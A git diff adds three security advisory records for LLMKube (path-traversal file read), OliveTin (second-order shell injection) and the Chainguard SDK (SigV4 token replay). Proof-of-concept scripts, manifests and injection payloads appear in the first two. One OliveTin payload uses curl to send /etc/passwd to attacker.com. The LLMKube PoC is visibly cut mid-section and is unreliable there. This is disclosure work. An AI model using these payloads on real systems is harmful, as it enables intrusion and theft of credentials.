diff --git a/data/Go/GHSA-jw3m-8q7m-f35r.json b/data/Go/GHSA-jw3m-8q7m-f35r.json new file mode 100644 index 0000000000..9e6d60a2ed --- /dev/null +++ b/data/Go/GHSA-jw3m-8q7m-f35r.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-jw3m-8q7m-f35r","published":"2026-11-18T21:18:02Z","modified":"2026-11-18T21:30:13.942147594Z","aliases":["CVE-2026-68903"],"summary":"LLMKube: Arbitrary Host File Read via Model.spec.source hostPath Injection","details":"### Summary\n\nLLMKube's `ModelReconciler` accepts arbitrary absolute paths and `file://` URIs in the `Model.spec.source` field and propagates them to two distinct sinks without path allowlisting: (1) `os.Open()` inside the controller pod itself (`copyLocalModel`), and (2) a Kubernetes `HostPathVolumeSource` that mounts the attacker-supplied path into the inference pod's init container. Any namespace user with permission to create or update `Model` and `InferenceService` custom resources can read arbitrary files accessible to the controller pod (e.g., the controller's own Kubernetes service-account token) or arbitrary files on the node where the inference pod is scheduled (e.g., `/etc/kubernetes/kubelet.conf`). Model caching, the feature that activates the `hostPath` sink, is **enabled by default** in both the CLI and the official Helm chart. CVSS v3.1 Base Score: **7.7 (High)**.\n\n### Details\n\n**Entry point — `Model.spec.source` field**\n\nThe `Source` field in `api/v1alpha1/model_types.go:47-48` carries a `kubebuilder` validation pattern that explicitly permits absolute paths:\n\n```go\n// +kubebuilder:validation:Pattern=`^(https?|file|pvc|hf)://.*|^/[^\\s]+$|^[a-zA-Z0-9][\\w\\-\\.\\/]+$`\nSource string `json:\"source\"`\n```\n\nThe branch `^/[^\\s]+$` matches any non-whitespace absolute path on the host.\n\n**Sink 1 — Controller-pod arbitrary file read (`copyLocalModel`)**\n\n`internal/controller/source.go:93-103` classifies a source as local and extracts the path with no sanitization:\n\n```go\n// isLocalSource: returns true for any \"/\" prefix or \"file://\" prefix\nfunc isLocalSource(source string) bool {\n return strings.HasPrefix(source, \"/\") || strings.HasPrefix(source, \"file://\")\n}\n\n// getLocalPath: strips \"file://\" prefix only; no canonicalization, no allowlist\nfunc getLocalPath(source string) string {\n return strings.TrimPrefix(source, \"file://\")\n}\n```\n\n`internal/controller/model_controller.go:241` passes the attacker-controlled source into `fetchModel`, which reaches `copyLocalModel` at line 664-667:\n\n```go\nf, err := os.Open(localPath) // localPath = getLocalPath(model.Spec.Source)\n```\n\nAn attacker sets `model.spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token`; the controller opens its own SA token and writes it to the model-cache PVC, which the attacker can subsequently read.\n\n**Sink 2 — Node arbitrary file read via `HostPathVolumeSource`**\n\n`internal/controller/model_storage.go:560-568` converts the same path into a Kubernetes host volume with no canonical-root check:\n\n```go\nif isLocalModelSource(model.Spec.Source) {\n localPath := getLocalPath(model.Spec.Source)\n volumes = append(volumes, corev1.Volume{\n Name: \"host-model\",\n VolumeSource: corev1.VolumeSource{\n HostPath: &corev1.HostPathVolumeSource{\n Path: localPath,\n Type: func() *corev1.HostPathType { t := corev1.HostPathFile; return &t }(),\n },\n },\n })\n initVolumeMounts = append(initVolumeMounts, corev1.VolumeMount{\n Name: \"host-model\",\n MountPath: \"/host-model/model.gguf\",\n ReadOnly: true,\n })\n}\n```\n\n`internal/controller/deployment_builder.go:248-250` calls `buildModelStorageConfig`, and lines 329-333 embed `storageConfig.volumes` directly into the generated `Deployment`'s `PodSpec`. When the inference pod starts, the init container copies the node file to the model-cache PVC.\n\nThe only filename-level sanitization is in `internal/controller/filename.go:44-75`, which constrains the **destination basename** only and has no effect on `HostPath.Path`.\n\nModel caching is enabled by default: `cmd/main.go:120` and `charts/llmkube/values.yaml:274` (`modelCache.enabled: true`).\n\n### PoC\n\n**Prerequisites**\n\n- LLMKube 0.8.27 or 0.8.28 installed with default Helm values (`modelCache.enabled=true`).\n- Attacker possesses `create`/`update` permissions for `Model` and `InferenceService` CRDs in a target namespace, plus `get` on Pod logs.\n\n**Path A — Live Kubernetes cluster (hostPath sink)**\n\n```sh\nNS=llmkube-poc\nkubectl create ns \"$NS\"\n\n# Step 1: Create a Model whose source points to a sensitive node file\ncat <<'YAML' | kubectl apply -n \"$NS\" -f -\napiVersion: inference.llmkube.dev/v1alpha1\nkind: Model\nmetadata:\n name: hostread\nspec:\n source: /etc/passwd\nYAML\n\nkubectl wait -n \"$NS\" --for=jsonpath='{.status.phase}'=Ready \\\n model/hostread --timeout=180s\n\nCACHEKEY=\"$(kubectl get model hostread -n \"$NS\" \\\n -o jsonpath='{.status.cacheKey}')\"\nBASENAME=\"$(basename \\\n \"$(kubectl get model hostread -n \"$NS\" -o jsonpath='{.status.path}')\")\"\n\n# Step 2: Create an InferenceService that prints the copied file\ncat < /etc/shadow && chmod 640 /etc/shadow\n\n# Also create a simulated SA token (as exists at this path in Kubernetes pods)\nRUN mkdir -p /var/run/secrets/kubernetes.io/serviceaccount && \\\n printf 'eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2Uta2lkIn0.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJsbG1rdWJlIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6Imxsa3ViZS1zYS10b2tlbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJsbG1rdWJlLWNvbnRyb2xsZXIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6bGxta3ViZTpsbG1rdWJlLWNvbnRyb2xsZXIifQ.FAKE_SIGNATURE\\n' \\\n > /var/run/secrets/kubernetes.io/serviceaccount/token\n\n# Default target; override at runtime with -e VULN001_TARGET=\nENV VULN001_TARGET=/etc/shadow\n\nENTRYPOINT [\"/poc\"]\nCMD []\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Arbitrary File Read via Model.spec.source hostPath Injection\nLLMKube (github.com/defilantech/LLMKube) — CWE-22 / CVSS 7.7\n\nVulnerability summary:\n LLMKube's ModelReconciler calls fetchModel(model.Spec.Source, dest).\n When source is a local path (absolute or file://), copyLocalModel() opens\n the file with os.Open(getLocalPath(source)) without any path allowlisting.\n An attacker who can write a Model CR can read any file accessible to the\n controller pod — including SA tokens, kubeconfig, TLS keys, etc.\n\n Relevant code:\n internal/controller/source.go:93 isLocalSource() — no allowlist\n internal/controller/source.go:98 getLocalPath() — strips file://, no sanitization\n internal/controller/model_controller.go:667 os.Open(localPath) — sink\n\n In full-cluster scenarios, model_storage.go:560-568 also injects the\n attacker-supplied path directly into a Kubernetes HostPathVolumeSource,\n exposing arbitrary node files inside the init container.\n\nThis PoC exercises attack path 2 (copyLocalModel) in Docker without a live\nKubernetes cluster by running a Go test that calls the REAL LLMKube functions.\n\nUsage:\n python3 poc.py [--target /path/to/sensitive/file] [--keep]\n\nSafety constraints:\n - Uses only local Docker (127.0.0.1), no external network calls.\n - Reads only files inside the ephemeral container filesystem.\n - Does not modify any LLMKube source code to manufacture the vulnerability.\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\n\nIMAGE_NAME = \"llmkube-vuln001-poc\"\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nBUILD_CONTEXT = os.path.dirname(VULN_DIR) # parent of vuln-001/\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\n\n\ndef run(cmd, check=True, capture=False, **kwargs):\n \"\"\"Run a shell command and return CompletedProcess.\"\"\"\n print(f\"[+] {' '.join(cmd)}\")\n result = subprocess.run(\n cmd,\n capture_output=capture,\n text=True,\n **kwargs,\n )\n if check and result.returncode != 0:\n stderr = result.stderr or \"\"\n raise RuntimeError(\n f\"Command failed (exit {result.returncode}):\\n{stderr[:2000]}\"\n )\n return result\n\n\ndef build_image():\n \"\"\"Build the PoC Docker image.\"\"\"\n print(\"\\n=== [PHASE 1] Building Docker image ===\")\n run([\n \"docker\", \"build\",\n \"--no-cache\",\n \"-f\", DOCKERFILE,\n \"-t\", IMAGE_NAME,\n BUILD_CONTEXT,\n ])\n print(f\"[+] Image '{IMAGE_NAME}' built successfully.\")\n\n\ndef run_poc(target: str) -> str:\n \"\"\"Run the PoC container and return stdout.\"\"\"\n print(f\"\\n=== [PHASE 2] Running PoC against target: {target!r} ===\")\n result = run(\n [\n \"docker\", \"run\", \"--rm\",\n \"-e\", f\"VULN001_TARGET={target}\",\n IMAGE_NAME,\n ],\n capture=True,\n check=False,\n )\n combined = result.stdout + result.stderr\n print(combined)\n return combined, result.returncode\n\n\ndef parse_evidence(output: str, target: str) -> dict:\n \"\"\"Extract key evidence markers from PoC output.\"\"\"\n lines = output.splitlines()\n exfil_lines = []\n in_block = False\n bytes_read = None\n step3_ok = False\n pass_line = None\n\n for line in lines:\n if f\"--- BEGIN EXFILTRATED FILE: {target} ---\" in line:\n in_block = True\n continue\n if \"--- END EXFILTRATED FILE ---\" in line:\n in_block = False\n continue\n if in_block:\n exfil_lines.append(line)\n if \"os.Open SUCCESS\" in line and \"bytes\" in line:\n step3_ok = True\n # Extract byte count — format: \"os.Open SUCCESS — N bytes read from ...\"\n import re\n m = re.search(r\"(\\d+)\\s+bytes\\s+read\", line)\n if m:\n try:\n bytes_read = int(m.group(1))\n except ValueError:\n pass\n if \"VULN-001 PASS:\" in line:\n pass_line = line\n\n return {\n \"step3_open_success\": step3_ok,\n \"bytes_read\": bytes_read,\n \"exfiltrated_lines\": exfil_lines[:10], # first 10 lines as evidence\n \"pass_line\": pass_line,\n }\n\n\ndef remove_image():\n \"\"\"Remove the PoC Docker image.\"\"\"\n subprocess.run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME],\n capture_output=True, text=True)\n print(f\"[+] Image '{IMAGE_NAME}' removed.\")\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"VULN-001 dynamic reproduction PoC for LLMKube\"\n )\n parser.add_argument(\n \"--target\", default=\"/etc/shadow\",\n help=\"File path to read inside the container (default: /etc/shadow)\"\n )\n parser.add_argument(\n \"--keep\", action=\"store_true\",\n help=\"Keep the Docker image after the run (default: remove)\"\n )\n parser.add_argument(\n \"--output\", default=os.path.join(VULN_DIR, \"phase2_result.json\"),\n help=\"Path to write phase2_result.json\"\n )\n args = parser.parse_args()\n\n build_command = (\n f\"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {BUILD_CONTEXT}\"\n )\n run_command = (\n f\"docker run --rm -e VULN001_TARGET={args.target} {IMAGE_NAME}\"\n )\n poc_command = f\"python3 {os.path.abspath(__file__)} --target {args.target}\"\n\n passed = False\n verdict = \"FAIL\"\n reason = \"\"\n evidence = \"\"\n\n try:\n build_image()\n output, returncode = run_poc(args.target)\n ev = parse_evidence(output, args.target)\n\n if returncode == 0 and ev[\"step3_open_success\"] and ev[\"bytes_read\"]:\n passed = True\n verdict = \"PASS\"\n exfil_preview = \"\\n\".join(ev[\"exfiltrated_lines\"][:5]) or \"(binary data)\"\n reason = (\n f\"LLMKube copyLocalModel()이 Model.spec.source={args.target!r} 값을 \"\n f\"경로 허용목록 검사 없이 os.Open()에 전달함. \"\n f\"isLocalSource()와 getLocalPath() 실함수 호출로 재현됨. \"\n f\"컨테이너 내 {ev['bytes_read']}바이트 파일 읽기 성공.\"\n )\n evidence = (\n f\"os.Open({args.target!r}) 성공 — {ev['bytes_read']}바이트 읽음.\\n\"\n f\"파일 내용 앞 5행:\\n{exfil_preview}\"\n )\n else:\n reason = (\n f\"PoC 컨테이너 종료 코드 {returncode}. \"\n f\"os.Open 성공 여부: {ev['step3_open_success']}, \"\n f\"읽은 바이트: {ev['bytes_read']}. \"\n f\"실행 로그를 확인하여 오류 원인 파악 필요.\"\n )\n evidence = output[:1000]\n\n except Exception as exc:\n reason = f\"재현 실패 — 예외 발생: {exc}\"\n evidence = str(exc)\n print(f\"\\n[!] ERROR: {exc}\", file=sys.stderr)\n\n finally:\n if not args.keep:\n remove_image()\n\n result = {\n \"passed\": passed,\n \"verdict\": verdict,\n \"reason\": reason,\n \"build_command\": build_command,\n \"run_command\": run_command,\n \"poc_command\": poc_command,\n \"evidence\": evidence,\n \"artifacts\": [\"Dockerfile\", \"poc.py\", \"exploit/main.go\", \"exploit/go.mod\"],\n }\n\n print(\"\\n=== [RESULT] ===\")\n print(json.dumps(result, ensure_ascii=False, indent=2))\n\n with open(args.output, \"w\", encoding=\"utf-8\") as fh:\n json.dump(result, fh, ensure_ascii=False, indent=2)\n print(f\"\\n[+] Result written to: {args.output}\")\n\n sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```","affected":[{"package":{"name":"github.com/defilantech/llmkube","ecosystem":"Go","purl":"pkg:golang/github.com/defilantech/llmkube"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.8.28","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-jw3m-8q7m-f35r/GHSA-jw3m-8q7m-f35r.json"}}],"references":[{"type":"WEB","url":"https://github.com/defilantech/LLMKube/security/advisories/GHSA-jw3m-8q7m-f35r"},{"type":"WEB","url":"https://github.com/defilantech/LLMKube/pull/981"},{"type":"WEB","url":"https://github.com/defilantech/LLMKube/commit/ec2647fd4557962a971a1bc9435790b8e77ce961"},{"type":"PACKAGE","url":"https://github.com/defilantech/LLMKube"},{"type":"WEB","url":"https://github.com/defilantech/LLMKube/releases/tag/v0.9.0"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T21:18:02Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]} \ No newline at end of file diff --git a/data/Go/GHSA-vc6p-m6vx-6cwq.json b/data/Go/GHSA-vc6p-m6vx-6cwq.json new file mode 100644 index 0000000000..937a27cdca --- /dev/null +++ b/data/Go/GHSA-vc6p-m6vx-6cwq.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-vc6p-m6vx-6cwq","published":"2026-11-18T21:55:09Z","modified":"2026-11-18T22:00:04.129389620Z","aliases":["CVE-2026-75506"],"summary":"OliveTin: Second-Order OS Command Injection via shellAfterCompleted","details":"## Summary\n\nOliveTin's `shellAfterCompleted` post-execution hook injects unsanitized variables — including arbitrary command output (`output`), the authenticated username (`ot_username`), and the exit code (`exitCode`) — directly into a shell command template processed by `sh -c`. Unlike the main action's argument handling, **no `checkShellArgumentSafety` validation is applied** to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.\n\nThis is a **distinct** finding from CVE-2026-27626 (OS command injection via `password` type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the **post-execution step** (`stepExecAfter`), which has **zero** safety checks on any of its template variables.\n\n## Affected Versions\n\n- All versions containing `shellAfterCompleted` functionality (current codebase through latest)\n\n## Details\n\n### Vulnerable Code Path\n\nIn `service/internal/executor/executor.go`, the `stepExecAfter` function handles post-execution commands:\n\n```go\nfunc stepExecAfter(req *ExecutionRequest) bool {\n if req.Binding.Action.ShellAfterCompleted == \"\" {\n return true\n }\n\n // These variables are injected WITHOUT any type checking or sanitization\n args := map[string]string{\n \"output\": req.logEntry.Output, // Arbitrary command stdout/stderr\n \"exitCode\": fmt.Sprintf(\"%v\", req.logEntry.ExitCode),\n \"ot_executionTrackingId\": req.TrackingID,\n \"ot_username\": req.AuthenticatedUser.Username, // User-controlled via trusted headers\n }\n\n // Template rendered with unsanitized args\n finalParsedCommand, err := tpl.ParseTemplateWithActionContext(\n req.Binding.Action.ShellAfterCompleted,\n req.Binding.Entity,\n args,\n )\n\n // Directly passed to sh -c — NO safety check\n cmd := wrapCommandInShell(ctx, finalParsedCommand)\n // ...\n}\n```\n\nThe `wrapCommandInShell` function (in `executor_unix.go`) executes:\n\n```go\nfunc wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {\n return exec.CommandContext(ctx, \"sh\", \"-c\", finalParsedCommand)\n}\n```\n\n### Why This Bypasses Existing Protections\n\nThe main action's shell commands go through `checkShellArgumentSafety` (called from `handleShellBranch` at line 693 of executor.go), which blocks dangerous argument types like `password`, `url`, `email`, `raw_string_multiline`, and `very_dangerous_raw_string` from shell mode.\n\n**`stepExecAfter` calls none of these checks.** The `output` variable is:\n- Not a declared argument with a type — it's internally created\n- Not validated against any regex or type system\n- Not passed through `checkShellArgumentSafety`\n- Directly interpolated into a shell command template\n\nA `grep` for `checkShellArgumentSafety` in the codebase confirms it is **only** invoked at one location:\n\n```\nexecutor.go:693: if err := checkShellArgumentSafety(req); err != nil {\n```\n\nThis is inside `handleShellBranch` (the primary action execution), **not** in `stepExecAfter`.\n\n### Injection Vectors\n\n#### Vector 1: Output Reflection\n\nIf a primary action echoes user-controlled input:\n\n```yaml\nactions:\n - title: Lookup User\n shell: \"echo 'User: {{ .Arguments.username }}'\"\n shellAfterCompleted: \"audit-log '{{ .Arguments.output }}'\"\n arguments:\n - name: username\n type: ascii_identifier\n```\n\nWhile `ascii_identifier` constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into `shellAfterCompleted`.\n\n#### Vector 2: Exec Mode Output Injection\n\nActions using `exec` mode (array form) safely handle arguments in the primary command but the **output** still flows to `shellAfterCompleted` through a shell:\n\n```yaml\nactions:\n - title: Read External Data\n exec:\n - cat\n - /shared/data/{{ .Arguments.filename }}\n shellAfterCompleted: \"process-result '{{ .Arguments.output }}'\"\n arguments:\n - name: filename\n type: ascii_identifier\n```\n\nIf `/shared/data/report` contains text like:\n```\n'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #\n```\n\nThe `shellAfterCompleted` becomes:\n```bash\nprocess-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'\n```\n\nThis executes arbitrary commands as the OliveTin process user.\n\n#### Vector 3: Username Injection via Trusted Headers\n\nWhen trusted header authentication is used (see Finding 04), the `ot_username` variable comes directly from an HTTP header with no sanitization:\n\n```yaml\nactions:\n - title: Any Action\n shell: \"echo ok\"\n shellAfterCompleted: \"logger 'Action completed by {{ .Arguments.ot_username }}'\"\n```\n\nAn attacker sets:\n```\nX-Remote-User: '; id > /tmp/pwned #\n```\n\nThe `shellAfterCompleted` becomes:\n```bash\nlogger 'Action completed by '; id > /tmp/pwned #'\n```\n\nThis chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with an action configured with `shellAfterCompleted`\n- The `shellAfterCompleted` template references `{{ .Arguments.output }}` or `{{ .Arguments.ot_username }}`\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"DEBUG\"\ncheckForUpdates: false\n\nactions:\n - title: Process File\n id: process-file\n exec:\n - cat\n - \"/tmp/olivetin-data/{{ .Arguments.filename }}\"\n shellAfterCompleted: \"echo '{{ .Arguments.output }}' >> /tmp/olivetin-audit.log\"\n arguments:\n - name: filename\n type: ascii_identifier\n```\n\n### Step 1: Create a malicious data file\n\n```bash\n# On the server, create a file with shell injection payload\nmkdir -p /tmp/olivetin-data\necho \"normal_data'; touch /tmp/PWNED; echo '\" > /tmp/olivetin-data/report\n```\n\n### Step 2: Execute the action normally\n\n```bash\ncurl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \\\n -H 'Content-Type: application/json' \\\n -d '{\"bindingId\":\"process-file\",\"arguments\":[{\"name\":\"filename\",\"value\":\"report\"}]}'\n```\n\n### Step 3: Verify injection\n\n```bash\nls -la /tmp/PWNED\n# If the file exists, the injection was successful\n```\n\n**Explanation**: The `cat` command (exec mode) safely reads the file. The output `normal_data'; touch /tmp/PWNED; echo '` is captured. Then `shellAfterCompleted` renders:\n```bash\necho 'normal_data'; touch /tmp/PWNED; echo '' >> /tmp/olivetin-audit.log\n```\nThis executes `touch /tmp/PWNED` as a second command.\n\n### Step 4: Username injection (with trusted headers)\n\n```yaml\n# Add to config\nauthHttpHeaderUsername: \"X-Remote-User\"\n```\n\n```bash\ncurl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \\\n -H 'Content-Type: application/json' \\\n -H \"X-Remote-User: test'; touch /tmp/PWNED2; echo '\" \\\n -d '{\"bindingId\":\"some-action\",\"arguments\":[]}'\n```\n\nIf `shellAfterCompleted` uses `{{ .Arguments.ot_username }}`, the injection executes.\n\n### Python PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Second-Order Command Injection via shellAfterCompleted output variable.\n\nDistinct from CVE-2026-27626 (password type injection in primary execution).\nThis exploits the post-execution step which has zero argument safety checks.\n\"\"\"\n\nimport requests\nimport time\nimport os\n\nTARGET = \"http://127.0.0.1:1337\"\nBINDING_ID = \"process-file\"\n\ndef setup_payload():\n \"\"\"Create a data file containing shell injection payload.\"\"\"\n os.makedirs(\"/tmp/olivetin-data\", exist_ok=True)\n with open(\"/tmp/olivetin-data/exploit\", \"w\") as f:\n f.write(\"data'; id > /tmp/rce-proof; echo '\")\n print(\"[+] Created malicious data file\")\n\ndef trigger_action():\n \"\"\"Execute the action that reads the malicious file.\"\"\"\n resp = requests.post(\n f\"{TARGET}/api/StartActionAndWait\",\n json={\n \"bindingId\": BINDING_ID,\n \"arguments\": [{\"name\": \"filename\", \"value\": \"exploit\"}]\n },\n headers={\"Content-Type\": \"application/json\"}\n )\n print(f\"[+] Action response: {resp.status_code}\")\n return resp.json()\n\ndef verify_rce():\n \"\"\"Check if the injected command executed.\"\"\"\n time.sleep(2)\n if os.path.exists(\"/tmp/rce-proof\"):\n with open(\"/tmp/rce-proof\") as f:\n print(f\"[!] RCE CONFIRMED: {f.read().strip()}\")\n return True\n else:\n print(\"[-] /tmp/rce-proof not found\")\n return False\n\nif __name__ == \"__main__\":\n setup_payload()\n result = trigger_action()\n print(f\"[*] Action output: {result}\")\n verify_rce()\n```\n\n## Impact\n\n- **Remote Code Execution**: Arbitrary commands execute as the OliveTin process user\n- **Chained with Finding 04**: Trusted header spoofing enables injection via `ot_username`\n- **Bypass of CVE-2026-27626 fix**: The fix for that CVE only addressed `checkShellArgumentSafety` in the primary execution step; the post-execution step was not hardened\n- **Exec mode bypass**: Actions using the safe `exec` mode (array form) for the primary command can still be exploited through their output flowing to the shell-based `shellAfterCompleted`\n\n## Remediation\n\n1. **Apply `checkShellArgumentSafety`** (or equivalent) to `stepExecAfter` variables\n2. **Shell-escape the `output`, `ot_username`, and `exitCode` values** before template substitution (e.g., using `shellescape.Quote()`)\n3. **Consider adding an exec-mode variant** for `shellAfterCompleted` to avoid shell interpretation entirely\n4. **Sanitize `ot_username`** to reject shell metacharacters regardless of the auth provider","affected":[{"package":{"name":"github.com/OliveTin/OliveTin","ecosystem":"Go","purl":"pkg:golang/github.com/OliveTin/OliveTin"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260728155752-e5d29b68da66"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vc6p-m6vx-6cwq/GHSA-vc6p-m6vx-6cwq.json"}}],"references":[{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-vc6p-m6vx-6cwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75506"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/pull/1070"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/pull/1088"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/commit/4ef86abee7aac4e4ec4a3200c7ca491ca3501065"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/commit/e5d29b68da66fd7f99072d6afd336dee2c28876c"},{"type":"PACKAGE","url":"https://github.com/OliveTin/OliveTin"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/releases/tag/3000.18.1"}],"database_specific":{"cwe_ids":["CWE-74","CWE-78"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T21:55:09Z","nvd_published_at":"2026-11-18T21:18:02Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/Go/GHSA-wq26-3j2m-4hvv.json b/data/Go/GHSA-wq26-3j2m-4hvv.json new file mode 100644 index 0000000000..42451c70d4 --- /dev/null +++ b/data/Go/GHSA-wq26-3j2m-4hvv.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-wq26-3j2m-4hvv","published":"2026-11-18T21:16:44Z","modified":"2026-11-18T21:30:14.739697309Z","aliases":["CVE-2026-71861"],"summary":"Chainguard SDK: AWS SigV4 token replay in auth/aws.VerifyToken — Chainguard-Audience/Chainguard-Identity binding headers not required in SignedHeaders","details":"### Summary\n\nThe `auth/aws` package of the `chainguard.dev/sdk` Go library provides Chainguard's AWS-backed identity federation (an AWS workload proves its identity to Chainguard by signing an AWS STS `GetCallerIdentity` request). Its verifier, `VerifyToken`, reads the `Chainguard-Audience` and `Chainguard-Identity` binding headers from a presented token but does not require them to be covered by the SigV4 signature. AWS STS validates only the headers listed in `SignedHeaders` and ignores all others, so an attacker can take a `GetCallerIdentity` request that a victim signed for a *different* relying party, inject or rewrite those two headers *after* signing (without invalidating the signature), and replay it to any service that authenticates callers with `VerifyToken`. The binding those headers were meant to provide is therefore forgeable — a verifier-side (relying-party) authentication bypass / cross-service token replay.\n\n### Background\n\nThe package uses the standard \"signed `GetCallerIdentity`\" pattern — the same approach HashiCorp Vault's AWS auth method and Kubernetes `aws-iam-authenticator` use: the caller signs an AWS STS `GetCallerIdentity` request with its AWS credentials to prove who it is, and presents that signed request as a bearer token. It has two halves:\n\n- `GenerateToken` (client): builds the `GetCallerIdentity` request, adds the `Chainguard-Audience` and `Chainguard-Identity` headers that bind the proof to a specific Chainguard audience (issuer) and assumable identity, SigV4-signs it, and serializes it into a token.\n- `VerifyToken` (relying party): decodes the token, checks those two binding headers, forwards the request to AWS STS to confirm the caller's real AWS identity (ARN), and returns it so a Chainguard token can be issued for that identity.\n\nThe binding headers exist so a proof minted for one audience/identity cannot be reused for another — a defense against cross-service replay — and their security depends entirely on being covered by the SigV4 signature.\n\n### Impact\n\nA relying party calling `auth/aws.VerifyToken` can be induced to accept a `GetCallerIdentity` proof that a victim produced for an unrelated purpose — for example a request minted for HashiCorp Vault's AWS auth method, Kubernetes `aws-iam-authenticator`, a different audience, or one captured from logs or a proxy — and to treat it as proof of the victim's AWS identity for an attacker-chosen audience and identity. The signed request is valid within its ~15-minute window. No access to the victim's AWS credentials is required; the attacker only needs a fresh signed `GetCallerIdentity` request from the victim principal.\n\nCode that uses only `auth/aws.GenerateToken` (token generation) is not affected — the generator correctly includes the binding headers in the signature. Only verifiers using `auth/aws.VerifyToken` are affected.\n\n### Affected versions\n\nAll released versions of `chainguard.dev/sdk` that include `auth/aws.VerifyToken`, up to and including `v0.1.106`.\n\n### Patches\n\nFixed in `chainguard.dev/sdk` [v0.1.107](https://github.com/chainguard-dev/sdk/releases/tag/v0.1.107). The fix requires both the `Chainguard-Audience` and `Chainguard-Identity` headers to be present in the request's SigV4 `SignedHeaders` before their values are trusted (mirroring the mitigation HashiCorp Vault applies by requiring `X-Vault-AWS-IAM-Server-ID` to be signed). It additionally adds defense-in-depth checks on the request method, the STS host, and the request timestamp. Upgrade to v0.1.107 or later.\n\n### Workarounds\n\nThere is no client-side workaround; the fix is in the verifier. Operators of services that verify AWS-backed identities with `VerifyToken` should upgrade as soon as the patched release is available.\n\n### References\n\n- AWS Signature Version 4 — signed headers: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_sigv.html\n- Comparable mitigation: HashiCorp Vault requires the `X-Vault-AWS-IAM-Server-ID` header to appear in `SignedHeaders` before trusting it.\n\n### Credits\n\nReported by Kris Kennaway (Datadog).","affected":[{"package":{"name":"chainguard.dev/sdk","ecosystem":"Go","purl":"pkg:golang/chainguard.dev/sdk"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.1.107"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.1.106","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wq26-3j2m-4hvv/GHSA-wq26-3j2m-4hvv.json"}}],"references":[{"type":"WEB","url":"https://github.com/chainguard-dev/sdk/security/advisories/GHSA-wq26-3j2m-4hvv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71861"},{"type":"WEB","url":"https://github.com/chainguard-dev/sdk/commit/d27997d62aaffe85f905cce4cbe8cdebbd5e24eb"},{"type":"PACKAGE","url":"https://github.com/chainguard-dev/sdk"},{"type":"WEB","url":"https://github.com/chainguard-dev/sdk/releases/tag/v0.1.107"}],"database_specific":{"cwe_ids":["CWE-290","CWE-294","CWE-347"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T21:16:44Z","nvd_published_at":"2026-11-18T16:18:16Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"}]} \ No newline at end of file diff --git 